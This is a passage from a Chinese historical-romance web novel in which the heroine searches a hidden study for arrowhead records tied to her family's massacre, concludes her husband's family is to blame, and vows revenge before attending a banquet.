苏木自然相信顾长宁的实力的,在早些年她还不识得他的时候,他也是听说过他屡战屡胜神话的。 那个时候她多少还是持些怀疑态度的,直到见识过顾长宁眼瞎后的功夫。 “我自是信他的,只是他眼疾刚好,南边多是潮热苦寒,对他眼睛还是……” 苏木脱口而出的话未说完,她似乎都讶异自己随口而来的关心,是他的身体。 不在乎他此战是胜是败,只关心他是否能够健全安康。 老侯爷看着苏木坐下,叹气道:“这事也是无奈,不过他眼睛能好也得亏你,若是他眼睛再生变。” 他看向远处:“罢了,若是能解甲归田,我是愿意的,对于他我也不要求他非得功成名就,功勋加身,他平安康健就好,这一点我同你是一样的。” 老侯爷似妥协般,语气中满是无奈。 或许是真的年岁已大,世事变迁看的太多,对于这些身外事真的毫不在乎了。 毕竟此前苏木也曾听顾长宁说起过,早年时候便是老侯爷桎梏着他,不让他为周家求情,不许他喜欢所喜之人,只要求他做藏拙之人,不做露芒之人。 现在,的确与他所设想的背道而驰了。 老侯爷眼中悠远飘渺,好似在追忆过往。 那个时候,他其实对自己手中的兵权不那么在意了,他只想再多些功在身,这样就算有朝一日他离朝而去,也希望能有功替他作为盔甲,庇佑着他和他的儿子,能够远离是非。 这些年来,他失去了挚友,妻子,唯独一个儿子,他希望的是他平安。 但是他却瞒着自己治好了眼睛,私下会面朝中旧友,还去了南边战场。 每一项都是在击垮他好不容易建立起来的城墙,此后稍有不甚,顾家前路迷惘。 少年人,还是冲动了。 究竟是为何,为何三年都未有什么动静,这段时日却变了。 这个变数,似乎和眼前人息息相关。 老侯爷看向苏木,他面色依旧温和,像是在向赞赏之人投以慈祥认同的目光,可他心中所想却复杂完全。 一个女子,仅仅十七,又是医术了得又是武功不菲,突然地出现又突然地成了他的儿媳,再加之自家儿子对她那般喜欢,他并不认为,眼前这人如同表面看着一般简单。 或许江尧所说的那个计划,也未尝不可以试试。 苏木不知眼前人的七弯八绕。他忽然想起了那个坐于昏暗书房,眼底浸染落寞之人。 可是顾长宁要的不是苟且,不是偷来的,并不安稳的假堡垒,他想要的是自己切切实实地用一砖一瓦搭建起来的城墙,能够用自己的力量护住他的人。 他从来没试探过老侯爷对于顾长宁此次出征的态度,但这次无意之间她似乎察觉到了,老侯爷对他的期望,依旧是希望他做那个安静躲在他的蜗居之下。 但若是这样,他有一日离去,失去蜗居的幼子,他孤身又该去到何处呢。 她不应该插手的,所以她并没有回应老侯爷的话。 他们父子之间的鸿沟,理应由他们自己去跨过。 老侯爷同样收回了思绪,他开始琢磨着,如何看清楚眼前人最真实的底色,最真切的目的。 “小木耳,我回府也好些时日了,不沾笔墨已久,书房都落了灰,老张说长宁的书房你整理的很是不错,我那书房的确书籍凌乱杂堆,许多陈年旧籍乱的一团糟,别人我不放心,但你我是信的过的。” 苏木看向他:“您找我就是这事吗?” “你不必特意跑一趟的。” 苏木有些高兴,她不知道老侯爷的书房在何处,换句话说,似乎侯府之人都不知晓老侯爷的书房在何处。 这个书房,是侯府的重要之地,顾长宁从未提起过,下人也从未提及过。 若是她得此机会进去一趟。 老侯爷探究地看她一眼:“怎么,你不愿意吗?” 苏木哪有不愿意的,她其实心中也有半分存疑,她不敢相信这位老侯爷是真的信任她,将她当作了自己人。 但眼下,这些重要吗? 重要的是自己有机会可以进去一趟,若是能得出些眉目,或者知道顾家箭镞的去向,就算有其他代价,对她来说都是微不足道的。 她不允许,她的路中间有人挡着。 但是她也不傻。 苏木笑笑:“哪有不愿意的,郎君在府中常提起您博学多才,字迹更是一绝,我苦学郎君字迹不得要领只有七八分相像,若是有幸见到老侯爷笔墨,定得要领。” “只是侯爷书房里的物件儿书画定是珍贵之物,苏木不算心细之人,不知可否能得一帮手?” 老侯爷一楞,他特意留给她独处书房的机会,她却要带上他人,听着倒像是真无私心一般。 “自然可以,你要何人?” “侯府之人,要说侯爷与郎君共信之人,恐怕只有一位。” “凌风。”—— 第77章 对于苏木来说, 提出让凌风陪同她整理书房是个比较好的选择。 她不是个能轻易信任别人的人。就算在这几日的相处中,老侯爷待她很是亲切, 但在这份看似轻松的慈爱之下,总是免不了对她的试探。 就如此刻,让她整理一个从未显露在侯府的书架,确定不是要试探她是否对书房有何企图吗? 那他猜对了,她的确对那间书房有很大的企图了。 但是她也不是贸然冲动之人,若是她只身整理,还不知老侯爷得放几个人在暗处观察她, 勘破她的行事。 但若是有个他靠得住的人能够同她一起, 并盯着她, 那自然会放松不少警惕。 况且苏木也根本没打算在凌风眼皮子底下找东西。知道了地方, 她找个机会再悄悄溜进来岂不是更妥贴些。 所以,苏木打算在众人面前做个乖孩子, 并没有露马脚的必要。 因此, 苏木和凌风各办其事地将老侯爷主屋旁厢房里的书那是整理的井井有条,房间那也是干净明亮。 但是, 整整三日, 也没人提起书房。 苏木都快要怀疑书房这个东西究竟是不是真的存在了, 甚至怀疑眼前这个放置的全是芝麻琐碎卷宗的屋子就是所谓的书房。 但是,这样的情况并没有持续太久。 在一个明媚晨光的清晨,南边传来了顾长宁好久没传来的, 同样也是振奋人心的战报。 竺蛮已被顾长宁所领之军击退,竺蛮使节将在十五日后抵达上京,亲自赔罪。 这个消息无意让上头那位,也让整个上京与侯府都陷入欢天喜地的状态。 有人称顾长宁乃青出于蓝胜于蓝,也有人称他是虎将无犬将, 更有人传顾家乃神武天降转世……乃至更多夸赞之语频频流传坊间。 这样的状况几日便可,时间长了却教人忧心,毕竟臣功大过主易遭忌惮。 所以果不其然,还没等到顾长宁回京的消息,南边绍华郡县便传来了水涝灾害久不得控的灾讯。 绍华郡县灾情严重,已有足足两月持续涝灾,民众苦不堪言,太后派去的京中能官无人能治,已然对太后权势威信造成威胁。 这不,为了挽尊,太后立刻下令,既然顾长宁回京过绍华,那便派他前去绍华平灾。 乍一听的确有点道理,但其中错综不是一言两句能够说清楚的。 首先,顾长宁在京中从未就任过文官一职,因此对治理水患等策略应当是一窍不通的,所以派他前去,还不如直接派遣翰林院的候补官员; 其次,绍华郡县上边是巫溪州府,而巫溪州府为四大世家中的燕伯所辖,这燕伯便是与宰相府上交好的两大世家之一。 所以顾长宁这一去,可谓是掣肘之多,办得好便是大功一件,若是行差踏错…… 但千想万想也无人能助,老侯爷整日忧心忡忡,连带着让苏木整理书房这事更是搁置下了。 正当苏木整日流连医馆侯府时,老侯爷却突然又将她叫到了跟前。 绍华那边传来了好消息,老侯爷给苏木读了书信,其中不乏提起灾情。 顾长宁在信中提出灾情得到一定控制,郡县正在重建,若逢好天时,或许不出半月就能归来。 最后末尾,他提上了几字。 吾父、吾妻勿念,君安定归。 那一字妻落,苏木脸颊爆红,却没说一字回应。 随后几次书信里,顾长宁在末尾都会提上这几个字。 书信愈来愈频繁,仿佛回京可期。 偶午夜梦中,苏木似乎能梦到顾长宁,他一身劲装银甲行于长街,言笑晏晏。 眸中尽是她。 或许是人逢喜事精神爽,随即,老侯爷便再次想起了书房一事。 有了所忙之事,苏木梦到那人的次数逐渐少了。 只是她没想到的是,老侯爷那隐蔽的书房着实不算隐蔽。 东苑右边是主屋,也就是顾长宁与苏木所居之所,拐个弯到左边的单独院落便是老侯爷的居所了。 之前苏木也到此处来过,但是除了一个管吃穿住的屋子,其它屋子都空着,可以说是一个空落落的院子,没什么奇特之处。 只是没想到的是,在老侯爷的正屋和东厢房相连接的内壁,却大有一番洞天。 主屋壁山挂着一副山水画,山水画后放在一个空格,那个空格并不明显,甚至说无人提醒就无人能察觉的了。 而当反转挂画的挂卯时,空格便如同奇门机甲一般复杂的收缩和翻转,紧接着房中衣柜便直接朝两边打开,露出一个石门在壁上。 石门有钥匙,钥匙不是普通模样,而是一个和虎符大小一般的东西。 所以这繁琐的开门给了苏木当头一棒。 她一开始还以为书房在哪个她不知道的角落,只要她知晓了,找个机会偷偷潜入就行。 结果是这书房在老侯爷睡觉的屋子里不说,还又要翻动书画,又要转卯,还要用钥匙开门。 且不说这个钥匙好不好偷来,就这石门打开的动静,我请问老侯爷是睡昏了才会听不见吧? …… 盯着幽暗的双眼,苏木跟着凌风的身后,进入了一踏进就可以闻见灰尘的地下室。 没错,石门打开了还得往下走几个石阶。 话说苏木已经做好了要大干一场,也想过三年未收拾的书房要脏乱到何等地步了,但踏进之后除了闻到浑浊的灰尘气味后,并没有见到想象中的蜘蛛网,杂乱不堪的残卷渣轴。 相反,这个书房比顾长宁的书房大,书架也比他屋子里多少许多,除了需要落脚的地方,架子上墙壁上依旧角落处都摆放着不少卷轴纸画。 也是,她虽然没察觉过,但是顾长宁肯定不止一次进来过,所以也定会定期洒扫。 只是这般机密的地方,顾长宁对她防范着从来未教她察觉,但老侯爷却主动提起并让她进来,怎么想都觉得有蹊跷。 但苏木此刻多少已经放弃了偷偷潜入的计划了,她想着,不是老侯爷让她来整理吗,她翻翻书又怎么了,她就光明正大的看了。 这样想着,凌风已经将火折子拿出,将石壁上的油灯一一点燃了。 暖黄烛火笼罩他脸上只余片刻便随着他呼出的一口气被掐灭了开来。 他看着她,她看着他,一时沉默。 “……” 凌风与她对视了片刻便看向了周遭,发现墙角放置的扫帚便抄了起来:“既然夫人让我前来,那夫人便不必做这些粗活了,我来吧。” 说着,已经不由分说地从最远处开始洒扫。 其实苏木倒没有让他来干粗活的意思,但既然他这么说,她便专心整理架子上的书。 苏木按照往常用臂缚挽住笨重冗长的衣袖,随即朝最里面而去。 刚走两步,苏木看着每列架子上印着字垂落的绢条,有些疑惑地看向凌风:“这些书我看着都归纳齐整,条理明晰,何故还需要整理?” 凌风的声音在地下室里显得沉闷,“这些书都是往年老夫人整理的,已经许多年没晒过了,或许很多回潮了。” 苏木看着这浩瀚书海:“所以这些都要搬出去晒?” “大抵是如此的。” “院落侯爷已禁他人出入了,搬到外面院落中晒上两三日便好了。” 凌风顿了几秒,随即扫帚扫过地面的飒飒声再次传来:“但是夫人不必动,这些事情我来便好了。” 他这个顾长宁的随身倒是体贴,但她要是什么都不用干,那她还怎么找。 苏木一眼扫过这些比她高出许多的木架,带着笑意答道:“本就是我的事情,没经你同意便强要了你过来,哪能什么都不做。” 说着,苏木一目十行的游走,停在了一普通绢条前:“你先扫着,我可以先搬些出去。” 凌风没再说些客气话,似是仔细洒扫了起来。 苏木回过神,眼神定定落在那白绢布上用墨笔所撰的几个字上。 历年器录。 在顾长宁书房里,她见到过类似的名称,但却只是一本普通的薄录,记录的都是侯府近五年兵器精物的进出,并无天佑三年至今的所有支出。 但眼前这个不一样,这个架子上的一整列上的薄录都和顾长宁书房里的薄录一般样式,书脊上还标着明晰的字。 洪德元年、洪德五年、天佑元年、天佑三年、天佑五年…… 苏木的瞳孔一下便收缩起来,那双眸子紧蹙着,停在书脊上的指尖有些发抖。 她很清楚,能够放在如此隐蔽的书房里,又放置在如此明晰的架子上被归纳的整齐的,必然书中不会是空白的内容。 可薄录里究竟记载了什么,她却忽而地不敢看了。 这种感觉仿佛大脑被蚁虫撕咬,酥麻而疼痛,麻木而痛苦,但那些细微地痛苦并不能抵消蚁虫发现食物的狂喜。 那些狂喜、那些躁动、那些希冀,都感染吞噬着她。 苏木想起了上次她查周家纪要时的感觉,那时她更多的是激动,是欣喜。但眼下,占据头脑更多地是犹豫。 莫名其妙的犹豫。 那一瞬间,她仿佛又身处在沈家主院的那个荷塘里,她的亲人一个个子啊她眼前倒下时,她的无力和痛苦席卷了全身。 她发过誓,她恨不得知道那些幕后黑手后一口口撕咬他们的肉,吮吸他们的黑心血…… 所以,什么样的犹豫能敌得过灭门之仇,抵不过的。 既然如此,什么样的结果她都接受。 是顾家还是谢家,她都不该犹豫。 她要做的就是翻开尘封的,成为许多人茶后闲谈的,将那个唏嘘而隐于市侩之中的沈家灭门案翻出来,为那些地底下的人寻一个公道。 所以,犹豫是一种可耻的东西。 现在能还沈家一个公道,能够翻出当年真相的人没有别人。 只能是她,也必须是她。 指尖已经落在书脊之上,冰凉的油蜡湿滑触感席卷而来,唤醒了苏木渐渐下沉的心绪。 垂落在衣裙下的另一只拳头中已满是湿汗,泥泞不堪。 猛地,她松开了紧攥着的手,刷地抽出了挤在一众薄录之中地那一本。 上京勋贵府邸兵器每隔五年置换一次,箭镞是天佑二年所赐,根据宫中秘阁来看以及节约时间,凭着沈家之事发生在天佑三年,她只需要翻阅三年的记载便可…… 天佑三年。 她只需要看这一册侯府兵器进出明晰记录,一切便明了了。 这一次,她没有急切地先去看最前一页的指录,而是一页一页的掀开这并不算厚的蓝薄本。 第三页:天佑三年春一月廿三。 因天佑二年上京贼寇横行,上京城众臣所耗兵器量甚,故提两年之前置兵器,其中,宣德侯换置大刀刀刃一百柄,其下为大刀样式记录 读完上面所载录,其下便是一些关于大刀样式的图画,以及一些特定改变之处的记载。 再往下翻亦是如此。 长剑、短刀、长矛、长枪、弓弩…… 直到定格到最后一页。 这么快就是最后一页了。 苏木的呼吸如同静止了一般,心跳地厉害,指尖夹着扉页立于中间。 她默默的闭上了眼睛,但却不过须臾,她像是努力使自己平静了下来一般,伴随着扉页而落,眸光定在一处。 下一瞬,巨大的不解、疑惑、惊讶席卷了她。 没有,怎么会没有了! 苏木来回翻着那张扉页,却依旧不敢相信。 为什么会没有?! 她脸涨地通红,脑中一片混沌,像是空白又像是被黑暗笼罩吞噬一般。 没有?居然会没有?为什么没有?为什么所有兵器都有但是箭镞却没有?!!! 巨大的惊疑下,苏木猛地睁大了双眼,突而脑中清明一片,一股巨大地激动和欣喜冲刷着她的全身。 难道说,也就是说,天祐三年的箭镞没有变更过,那二十五只箭镞一直都在! 一直都在…… 也就是说顾家不是吗?沈家之事,和顾家没有关系吗? 这些薄录所记载的是不可能杜撰的,苏木很清楚。 鄢国的规矩便是如此,若是要向朝廷要换置武器的银钱,那必须得拿着搬着所损器物到特定的宫器局登记细数。 所以在这方面,想要造假的机会越等于没有。 可惊喜不过一瞬,苏木的眸子又定在了天佑二年那本薄录之上。 她的眸色越发地黝黑,逐渐下沉。 天佑二年,她需要再确认一遍的是,皇帝赐给顾家的,是确确实实记录在册的二十五只箭镞。 她合上并捏紧了手中的蓝薄本,随即另一只手又触到了天佑二年那一本薄录之上。 “你在看什么?” 苏木欻地转头,对上了凌风锐利的眸光。 在她尚在被突然出现的凌风吓得木了的瞬间时,凌风眼睛依旧放在了苏木手中攥着的蓝本。 她指了指绢布:“需要问吗?” 她很快反应过来,随即恢复平常波澜不惊地模样,真正地像个女主人一般发号施令地询问:“你这么快便扫完了?” 凌风点头,眼神朝绢布看去:“扫完了。” “我以为你搬了一些书出去,却看见你驻在此处。” 凌风揪着眉,瞧着苏木那有些难看到苍白却故作平常的脸庞:“你……没事吧?” 苏木将薄录放回原处牵出一抹笑容:“没事,本来是要搬的,这本掉下来了,我翻着看看。” “暗房潮湿闷沉,夫人可取通风处休息,我来搬即可。” 苏木看了看右手左侧立着的蓝本,犹豫了那么刹那。 那一刻她想了很多,她也许可以不顾凌风,毕竟她现在身份也算是侯府夫人,且来书房也是老侯爷所允许的,她随便翻翻应没什么大碍。 所以那一刻,她几乎就要将手指伸向了左侧。 可在指尖触碰到那一丝冷硬触感时,理智立马将她拉了回来。 凌风是不会阻止,可不代表他不会告诉老侯爷,若是老侯爷发现疑错之处,她日后又该怎么办?若是还没查完全侯府之事便再也无机会进入书房,若真是顾家他们发现不对劲转移了这些册子怎么办? 苏木顷刻间收回了蠢蠢欲动的手。 “好啊,辛苦了。” 说罢,她抵着那被汗水浸透的后背,从凌风身侧擦过。 所谓通风口,自然不在书房里。 苏木带着依旧半明半昧的心境,坐在了院落之中,撑着手肘瞧着远处出神。 凌风手脚很是利落,不过一会儿,院落石桌上、石板下乃至苏木脚下早已铺满了卷张。 卷张随风而扬,肆意张狂,凌乱了苏木那颗有些发烫同时也疯狂跳动的心。 天佑三年没有箭镞记载。 是真的没有,还是哪里不对劲? 苏木想的出神,没注意到院落外传来的嘈杂声。 脚步声停在苏木侧边,苏木转眼便瞧见了一双黑靴。 顺眼而抬,凌风怀中抱着一木箱,那箱子瞧着很沉。 搬了这么久,苏木还是第一次瞧见凌风手臂上凹起的青筋。 苏木看着满园书,又瞧着凌风脑上的汗,顺手接过了木箱,“搬完了吗?” 凌风视线看向院外点头:“还差一点,不过……” “外面是又什么事吗?” 苏木接过沉甸甸地箱子有些不明所以,她刚刚根本没注意到外面。 “我不太清楚,你可以出去瞧瞧。” “是。” 说完,凌风便径直朝院外走去。 苏木不喜热闹,何况她现在被他事所扰,心中烦躁不已,更无心管外头发生了何事,于是张望了院中空隙之所,瞧见了远处亭内还恰有一处不错之处。 晃晃悠悠的往哪边走着,苏木没注意到小溪旁的怪石挡路。 哐当一声,随着脚骨传来钝痛,木箱被她震落在侧时她才反应过来,她就这样平地摔了。 同样的,等她烦躁地拍了拍身上尘土去收拾被震得开了地木盖时,院外由近及远传来了一阵急促地脚步声。 日头很毒,光斑随繁茂枝桠而洒,箱中什么东西发出银银白光,刺地苏木狭眼虚起。! 苏木似是明白了什么,猛地掀开了挡在微弱白光上的木板。 短小约莫半个食指长的大小箭镞剖落在苏木眼前。 一眼扫去,她尚被眼前景象给惊住时,便瞧见了箱中平躺着的一卷展开的信纸。 这……是什么!? 苏木眸光定在字上,顺着往下默读了去。 【天佑二年,圣上赐二十五只箭镞尽此,无由不得动。】! 是……箭镞?! 二十五只,是二十五只! 苏木几乎是一把抓起那信纸,她来来回回读过好几遍,然后将信纸扔向一处,就这么跌坐着,小心翼翼的清数着箱中那早已模糊的、又无比清晰的箭镞。 一个、两个、三个……二十三……二十四 ……二十…… 五。! 还有一只呢! 还有一只呢? 苏木慌张地前后查看,然后又迅速忙急地看向草坪、小溪以及自己的周遭。 数错了,肯定是数错了。 一个、两个…… 二十二、二十三、二十四……二十…… 二十五呢!? 没有了吗? 为什么会没有。 苏木像个固执而无措的茫童,她又从头开始,眼神逐渐由清明而失焦,眼尾因焦急而生出薄红。 怎么会没有!为什么会没有! 怎么可能,怎么可能! 苏木急了,她几乎是急不可耐地站立了起来,随即她将整箱抱起,将箱中物件儿悉数翻转抖落,然后再次蹲坐了下来。 一次又一次…… 一次又一次地去细数。 可是没有的东西是如何细数就能数出来的呢。 那一刻,耳边混沌不堪,蝉鸣混着急促脚步声停在了亭处。 “夫人……” “夫人?” 这声巨大的呼唤使苏木木讷地转过身去,她瞧见白茫茫中一道玄色身影立于亭边。 那身影像极了她偶在梦中见到的那个人。 光晕逐渐回笼,聚焦在一处时,苏木看清了那个人的面容。 凌风面色不佳,额上青筋爆出,轻喘着急促的气息,混沌地咛喃出那个苏木此时不愿意听到的名字。 “绍华来信了。” “公子……” “……出事了。” 破碎的声音一下没一下地冲击着苏木地耳朵,可凌风的声音却好像根本未传进苏木的耳中。 她跌坐在溪边,裙边沾染了褐色泥尘,手背破损擦伤处有些暗红流动氤氲,箱子周遭全是散落的箭镞。 凌风可以瞧见,苏木眼尾渗出的红色给面容平添几分娇弱,可狭长的眼中覆盖的是茫然苦笑,还有一丝嗜血的冷冽。 一切杂乱不堪。 是啊,苏木眼前的一处,心中的一处在此刻轰然倒塌,破损不堪。 是顾家,竟是顾家!—— 第78章 苏木忘记自己是怎么回到自己院子里的了。 她病了。 自那日箭镞得见, 顾长宁失踪消息传回时,苏木便病了有足足三日了, 大夫本说是风寒,要个两日温养便可得好许多,但现下三日到头了,主屋塌上那人依旧一副病恹恹得模样。 老侯爷听闻自家儿子失踪的消息也是着急的几经晕厥。他还本想寻来苏木问问有没有得到过南边的书信,可待自己晕厥后醒来时才知晓,苏木发烧个不停,嘴里混沌不堪, 连不成一句完整的话。 侯爷寻了凌风来问, 凌风才将那日之事一五一十地告知给了老侯爷。 他是故意将书房位置透露给她, 好瞧瞧她究竟有何企图, 但前几日身边安插的人皆无所获,说苏夫人老实本分地收拾屋子, 未有逾矩也未有鬼祟之处。 凌风差不多也是这般说的。 与之不同的是苏木翻阅过天佑三年的兵器薄录, 以及她狼狈倒在泥地里时身旁的一箱子箭镞。 但这件事凌风没有向老侯爷提起。 缘由很简单,他效忠的人只有一人, 关于苏木的各种动向他第一个需要告知的人不是老侯爷, 而是远在南边的那人。 老侯爷听闻无甚不妥之处, 想起前几日试探自家儿媳让其一人整理那么久的书,又突闻顾长宁下落不明的消息,病因累可能也因情, 老侯爷一瞬便有了愧意,这几日也是让底下人仔细照顾着她,不能有半分差错。 但只有苏木心里明白,她病的缘由是什么。 夏夜蝉鸣,繁草盈盈处暗影浮动, 银光透过廊下撒入塌上,寂静无边。 老侯爷身后跟着凌风,站在房门外。 下午,他听闻苏木醒来后便思虑着过来瞧瞧,但因他事耽搁现下才来。 下人通传了一声里面的人睡了,他这个长辈也不好直接进去,六旬老人伫站在房门前,叹着气。 房里亮着烛火,老侯爷知她没睡,也以为她是挂念远处的人,所以不愿见他。 但有些话,他这个做爹的总要安慰上几句,免得人忧思过重,伤了身子。 两鬓斑白的老将像是回忆起了以往,她的妻子不止一次在这个院中等她,一年复一年,在忧思与希冀中最终合上了双目。 “小木耳,爹知你还未睡。” 屋里的人没见响动,只见烛火有一搭没一搭的摇曳晃动。 有阵风吹来,凌风在其身后正想开口,但身前之人却比他快上一步。 “长宁他……他身手与才智皆为上乘,你不必太过思虑的。” 虽然他也是真的担心,毕竟他找的探子在这三日里也没传回什么好消息。他是真想动身去绍华寻人,可皇帝哪能让他们父子在远处会见。 还是无人答他,可老侯爷却不甚在意般,犹豫着说出那句话:“小木耳,你得好好养病才是,或许……或许他在等你。” 塌上背对木门的被褥醒动了半分,那半蒙在被褥下的脸色不算太好,脑门的汗顺着脸颊滑落枕边,眉头松开了半分。 他在等你…… 等我吗? 睁开眼,眸中蒙昧,像是回忆起了什么。 那是在早已谢败的海棠花下,他身着玄衣对着她,冷峻而执傲的脸庞带着半分犹豫的动容。 他说了很多话,她听得很是不耐。 “顾长宁,你要死在竺蛮吗?废话这么多!” 他启唇,嘴边飘出了这几个字。 “你等我回来,我还有话要对你说。” 顾长宁看着她,面上是她很少见过的,对她一个人的郑重。 “所以我不会死的,我会回来。” “苏木,等我。” 苏木滞住了一瞬,仿佛那人又用一副笑晏晏的模样站在了她跟前。 可下一刻,她柔和的眸光便瞬地冷落了下来。 等你回来,等你回来后。 杀了你。 杀了你、你的父亲、你们顾府所有人。 或者,不用等你回来,我可以先一把火,如同当年你们对待顾家那般,让滔天火舌吞噬这里,再去找你,让你也陷入万劫不复的地步。 苏木的眸光由冷淡转向猩红,她蒙在被下的双拳攥进肉里,烙下一圈圈甲印,似要陷入肉里一般,可她却不见疼。 对,顾家,顾家的人一个都别想逃,一个都不会落下。 顾长宁也会死,她也会杀了他。 所以,还回来干什么,死在那处! 死在那处多好! 苏木想的越发恨,越发急切,仿佛下一瞬就要冲出门去一剑一剑刺死顾府所有的人。刺死门外的那个人。 她似乎已经看到了顾府上下百余人倒在血泊之中,犹如当年沈府那般景象。 她急不可耐,恨地发狂,恨地恨不得嗜血般毁了所有人。 苏木头痛欲裂,她颤着身子抱着自己的头,指尖不断打着颤,直到心口也传来些钻心的疼,她才在意识不明中感受到了脸颊划过的温热。 那个死字仿佛刺中了她的心,教她疼的喘不过气来。 那丝温热唤回了她半分意识,她下意识去拭那滴泪痕,却泪水落得越发汹涌。 苏木颓然闭上眼,不再刻意的擦拭与掩饰,很快,泪水便将整个玉枕打湿地彻底。 她早已听不见老侯爷在外说些什么。 …… 又过五日,绍华那边依旧没消息传回,但苏木的病却好了七八分了。 她身子硬朗,这场病也是因她那日夜里买醉淋雨而起,待她认真服药安养后好的便快了许多。 院子中,她坐于案前,手持墨笔,一笔笔在草纸上习字。 芜衣、祝余和凌风立于廊下,每个人都愁容满面。 自老侯爷那日屋外谈话后,苏木便服药不再懈怠,直至前两日能起身后便日日坐于院中案前专心习字。 她习字的安静,犹如往常一般安宁和谐,若不是绍华那边没什么消息传回,他们当真要以为现下如同往常一般平常。 祝余没见过自家姐姐这般模样。往常,苏木习字也只在白日的早些时候,不会像现在一般从早自晚的练,手像不会酸,人像不会累一般。 越是这样沉静平和,他们心中才越发毛。 祝余忍不住了,她问站在一旁的芜衣:“你说,姐姐这般担心小侯爷,为什么不去找他?” 芜衣眼睛落在远处树下之人,半晌后只摇摇头,像是真的不知。 祝余觉得,自家姐姐身手好,又是小侯爷的妻子,老侯爷不便离京,但她若是想去定不是难事,可为何只这样枯坐着等着,没有主动提起。 已经过去八日了,为何比他们还沉得住气? 凌风也看着远处的人,面上没什么表情:“你说的,老侯爷跟她提起过。” 祝余见这个一向没什么多余话得冰块突然开口了,一时有些不适应但却没多问,只是顺着越发疑惑:“提起过,什么时候?” 凌风的眼神未移开:“五日前,老侯爷寻夫人时。” 祝余和芜衣对视后明白过来了,是五日前的夜晚,听值班的下人说,那一夜整个东苑主屋外的人,都能听见隐约而压抑的啜泣声。 祝余一开始是不信的,毕竟苏木在她心里的形象一直都是淡淡的,对何事似都不在意般,既强大又孤傲的一个人。 要说这样一个人会哭,她不信。 直到祝余第二日前去给苏木送药时,瞧见了她双目的肿红…… 祝余回过神,似有不满:“老侯爷那个时候去寻姐姐,姐姐那个时候还病着呢,还害的姐姐哭了一场。” 凌风没有表情的面上松动了半分,但却没再言一句。 “姐姐那个时候会不会因为太过伤心,所以没注意到老侯爷提起的话?” 芜衣蹙眉继而又说:“我瞧姐姐这样,定是十分忧心的。” 凌风眼神未动半分,眸中幽深。 她会忧心小侯爷吗? 她总是由于各种不得已的缘由被困在此处,若说喜欢,倒不如说她更多的会是讨厌那个人。所以那人若是出事,她定当是松快的。 可既然如此,那夜的落泪又是为何。 凌风别开眼神,语气平平:“忧心有何用,老侯爷年迈夫人便是侯府的主心骨,公子临走前是将侯府托付给夫人的,所以照顾好老侯爷与侯府,这是公子给她的嘱托。” “侯府有老侯爷,岂会乱套,我去劝劝姐姐吧,她别钻牛角尖。” 祝余正要上前,凌风一把将她拽了回来。 “老侯爷有安排。” 祝余一把被拽回本有些不悦,但听到凌风开口后却是一惊:“安排?” “什么安排?” 凌风松开手:“老侯爷刚归京,少不了各方应酬,再过两日谢府丞相夫人林氏寿辰,邀了侯府。” 祝余瞧着他,明白了过来:“所以……?姐姐要去祝寿?” 祝余记得,两日后老侯爷得进宫见武学子弟,所以侯府能受邀去谢府之人,能够代表谢家之人,只有苏木。 “夫人应下了。” 凌风复又看向海棠树下身着素衣之人,“她答应老侯爷贺寿完后就会去绍华郡县。” “所以现下夫人可不是在钻牛角尖,她在写寿礼。” 听闻这个消息,祝余愕然一瞬,随即忧心地看向案前之人, 竟是这样。 她看了苏木许久,随后绽出一丝笑容出来。 自己去寻人,比呆呆地等着要好上许多。 她同芜衣对视而笑,似是心照不宣地得到了宽慰。 二人这才放下心来些。 芜衣似乎也是真的高兴,在看向苏木时眸中都泛着光。 然而案下之人一笔一划地描摹着一个“寿”字,仿佛心无杂念。 可笔下突而折断的字却宣告着她内心的不平静。 她指尖泛着颤意,心中也早已波涛汹涌。 她眼尾迁出猩红笑意,转腕将字拉了回来。 那便两日后吧。 害沈家的人,她一个都不会放过—— 第79章 两日后。 谢府丞相夫人有诰命在身, 因此寿宴大摆很是隆重,苏木也是一早起来由着下人侍弄衣物头饰, 只待收拾妥贴后乘辇车至谢府便是。 她今日穿的比往日华贵许多,妆容妥贴,花钿贴于额前,整个人艳亮不俗,灼灼醉人。 收拾妥贴后苏木将外人都遣了出去。 她立于木柜之前,将那搁置于暗柜中绣着缠枝莲纹的墨色荷包抽了出来。 系绳抽开,她从里面拿出了常挂于胸前的那个箭镞。 箭镞随食指捻动而转, 在透过窗棂而洒下的日光下发出刺眼的光。苏木将箭镞握紧掌心, 随即解开系绳子挂于胸前, 藏在了衣襟之下。 这荷包她没扔, 物件儿被她攥入掌心,最后被她小心放置在衣襟里面, 紧贴胸口。 不过一会儿, 外头下人便通传时辰到了,苏木也没磨叽, 随着下人上了辇车。 祝余今日依旧在医馆忙碌, 芜衣被她遣在府中看账, 至于凌风。 她知道凌风是被顾长宁下了令跟着自己的,既然如此她去哪里他便要去哪里,为了不让他坏事, 苏木昨夜在他水里掺了点东西,现下人还睡着,应是晚上醒来,只不过待他醒来时,估计事情已成定局了。 踏入帘里前苏木脚下顿了顿, 侧身又回头看了那刻着宣德候府四个大字的牌匾,她目光灼灼,定在那处片刻,随即掀帘而坐,轿撵便这般行于大街,慢慢远离。 到谢府跟前时,外头鞭炮噼里啪啦,人声更是此起彼伏,叠嶂声高。苏木掀开帘子下来时本以为会第一个瞧见谢辞桉,但实际上谢府门前人众络绎不绝,谢辞桉一个影子也没有。 罢了,她今日虽说是来告别的,但若是真的不碰巧遇不上他,她也并不会因此失落,本就没有缘分罢了。 下了车,随着众人在门口排着,苏木一眼便瞧见了迎宾之人。 迎宾之人有两个,都是少年模样,只是一个脸上担着笑,和那些个长辈说起话来神采飞扬很是开怀,另一个长得和谢辞桉像些,比身旁男子个子也矮些,在旁只是附和,笑的温润。 苏木光凭着猜也知道二者是何人了,那神采飞扬的想毕就是谢家第二脉的嫡子谢长盛,而那一旁性格和长相均和谢辞桉长得相像的肯定就是宰相的次子谢辞珣了。 打量着二人,前面人已经统统进去了,苏木走至二人跟前,轻微含笑:“我乃昭明侯夫人苏氏,在这里见过两位公子了。祝林夫人福寿康宁,椿龄无尽。” 说罢便抬手示意身后下人,身后几名小厮提着东西交给二人身后的下人。 谢长盛见苏木一来就自报了家门,本一开始还眼生眼前人,一听是自己伯沅兄弟的人,顿时眉开眼笑,豪爽至极:“原来是苏夫人,苏夫人快往里去,里头下人带你至院里豪间去,伯沅兄不在,我这个做弟弟的可得好好招待你!” 谢长盛身旁少年似是不太懂这些人情世故,但依旧陪着笑,温着的样子和谢辞桉极其相似,惹得苏木多看了他两眼。犹豫之下苏木还是问道:“之前在侯府我也见过谢辞桉几面,看这位便是谢大人的胞弟吧。” 